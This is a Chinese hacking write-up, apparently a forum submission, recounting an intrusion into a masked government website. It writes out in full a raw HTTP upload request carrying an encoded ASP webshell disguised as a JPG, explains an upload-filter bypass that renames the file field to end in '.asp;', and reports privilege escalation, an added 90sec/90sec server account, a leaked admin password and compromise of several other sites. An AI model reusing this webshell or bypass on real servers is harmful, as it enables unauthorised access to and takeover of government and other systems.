目标网站：http://www.****.gov.cn/
1：旁注：
http://www.****.cn/class.asp?class？id=3
http://www.***.cn/admin/
admin rih*I3EH
2：绕过上传取得webshell：
POST /admin/UploadImage3_upload.asp?NewsID=1672 HTTP/1.1Host: www.***.cnContent-Length: 3619Cache-Control: max-age=0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Origin: http://www.***.cnUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.106 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKlekkgTQbS0eeF7rReferer: http://www.***.cn/admin/UploadImage2.aspAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.8Cookie: ASPSESSIONIDSQAQSRCS=CLAMMCPDPFBLEDGBMBHOFBFE; _gscu_948156854=586272270inr7p63; _gscs_948156854=58627227m3082t63|pv:12; _gscbrs_948156854=1------WebKitFormBoundaryKlekkgTQbS0eeF7rContent-Disposition: form-data; name="1672-1"; filename="1.jpg"Content-Type: text/asp<%@LANGUAGE="VBScript.Encode" CODEPAGE="936"%><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>è￥???èμ?°??é - D??í = ?ú±?è???á?</title><style type="text/css"><!--.black { font-family: "??ì?"; font-size: 12px; color: #000000; text-decoration: none; line-}--></style><style type="text/css"><!--a:link { font-family: "??ì?"; font-size: 12px; color: #00CC00; text-decoration: none;}a:visited { font-family: "??ì?"; font-size: 12px; color: #00CC00; text-decoration: none;}a:hover { font-family: "??ì?"; font-size: 12px; color: #333333; text-decoration: none;}--></style></head><body bgcolor="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"><p><%#@~^DAAAAA==~9kh,W(LsUr,vQMAAA==^#~@%><%#@~^CwAAAA==~9kh,09lYmPmgMAAA==^#~@%><%#@~^EgAAAA==~9kh,W(LZKE OsbVnPXgYAAA==^#~@%><%#@~^FgAAAA==~Kx~DMWD,DdEs+~x6O~9wcAAA==^#~@%><%#@~^QAAAAA==~U+O,W(LsUr,xPU+.\D /M+lDnr(L+1OcJUmMk2YrUTRok^n?H/Onsr4%n1YE#,ThYAAA==^#~@%><%#@~^KQAAAA==~b0~:Db:`M+$;+kYcJkXW[alY4E#*@!@*rE~Y4+ PqgwAAA==^#~@%><%#@~^HQAAAA==~6NCDl,'PM+$;+kYcJ1XW[9lYmE#,mwkAAA==^#~@%><%#@~^QgAAAA==~U+O,W(LZKE OsbVn'K4%oUrR;.+mY+:naYwk^+cDn5!+dYvE/H0[2mYtEbBK.Eb,dRcAAA==^#~@%><%#@~^GgAAAA==~K4%;W!xYwk^nRqDrYPW[mYl,XQkAAA==^#~@%><%#@~^EAAAAA==~b0~DMP'ZPD4+ P1AQAAA==^#~@%><%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*±￡′?3é1|e@!&0GUD@*EPNQ8AAA==^#~@%><%#@~^BgAAAA==~VdP6QEAAA==^#~@%><%#@~^NwAAAA==~M+daW /+chMrYPE@!6WUO,mW^GD{aswoo!Z@*±￡′?꧰üe@!&0GUD@*EPNQ8AAA==^#~@%><%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%><%#@~^CwAAAA==~D.cm^+lMPvgMAAA==^#~@%><%#@~^CAAAAA==~x[,k6PZgIAAA==^#~@%><%#@~^FAAAAA==~K4%;W!xYwk^nR;VG/PKAcAAA==^#~@%><%#@~^GgAAAA==~U+O,W(LZKE OsbVn'gWO4bxo,ZAkAAA==^#~@%><%#@~^FgAAAA==~U+O,W(LsUr,xPgWOtbxL~AwcAAA==^#~@%><%#@~^HAAAAA==~"+daW /+chMrYPE@!J0G.s@*J,qQgAAA==^#~@%></p><table width="100%" border="0" cellpadding="0" cellspacing="0" bordercolor="#FFFFFF"><tr><td > <table width="100%" border="0" cellpadding="0" cellspacing="0" bgcolor="#FFFFFF"><tr><td><table width="700" border="0" align="center" cellpadding="0" cellspacing="1"><tr><td bgcolor="#FFFFFF"><span class="black"> <%#@~^GwAAAA==~"+daW /+chMrYPE±????t????μ??·??J,TAYAAA==^#~@%><%=#@~^NwAAAA==dD-Dc:lawmOtvIn;!+dOc?+M-+M.lMrC4^+k`E?/]&nP{g)HAJbb,MhMAAA==^#~@%><br><%#@~^TQAAAA==~"+daW /+chMrYPE±￡′????tμ?@!6WUO,mW^GD{D+9@*?????·??c°üà¨???t??)è?G)'hn4wacldw*l@!J0GUD@*J~txMAAA==^#~@%><%#@~^MwAAAA==~"+daW /+chMrYPE@!6W.h,lmDrW 'BEvvPs+DtGNx2K/O@*r~lRAAAA==^#~@%></span> </td></tr><tr><td bgcolor="#FFFFFF"><span class="black">ê?è?±￡′?μ??·??￡o<%#@~^RgAAAA==~"+daW /+cMrYPE@!bx2;DPYH2+{Y+XO~xm:'dXW[alOt,Ak9Y4xy!!~dbyn'Rq@*J~qxcAAA==^#~@%></span></td></tr><tr><td bgcolor="#FFFFFF" class="black"><%#@~^GwAAAA==~"+daW /+chMrYPEê?è????tμ??úèY￡oJ,TAYAAA==^#~@%><%#@~^UwAAAA==~"+daW /+chMrYPE@!D+aOmD+m~xm:+{^z09NmYCP^G^/x%Z~DKhdx8!PAr9Y4'2+@*@!&D+XYlM+m@*J,ShsAAA==^#~@%></td></tr><tr><td bgcolor="#FFFFFF"><div align="center"><span class="black"><%#@~^MQAAAA==~"+daW /+chMrYPE@!bx2;DPYH2+{/E(hrY,\mV;+x±￡′?@*rPIxAAAA==^#~@%></span></div></td></tr></tr><td bgcolor="#FFFFFF" class="black"><div align="center"></a></div></td></tr></table></td></tr></table></td></tr></table></body></html>------WebKitFormBoundaryKlekkgTQbS0eeF7r--
曲折过程不细表：
绕过在： name="1672-1"经测试，上传的文件命名方式为：1672-1.jpg 修改post包 name="1672-1" 内容为name="1672-1.asp;" 小马：http://www.***.cn/admin/1672-1.asp;. jpg大马：http://www.***.cn//admin/90sec.asp helpz
webshell pr 提权 账号密码：90sec/90sec
登录服务器：
目标网站拿到,同时获得：
http://www.***.gov.cn/
http://www.***.com/
http://www.f**.com/
http://www.fs**.com/
http://www.aq***.com
/http://www.*r***.cn/
----------------------------------------
未发现亮点所在，故不予通过。
|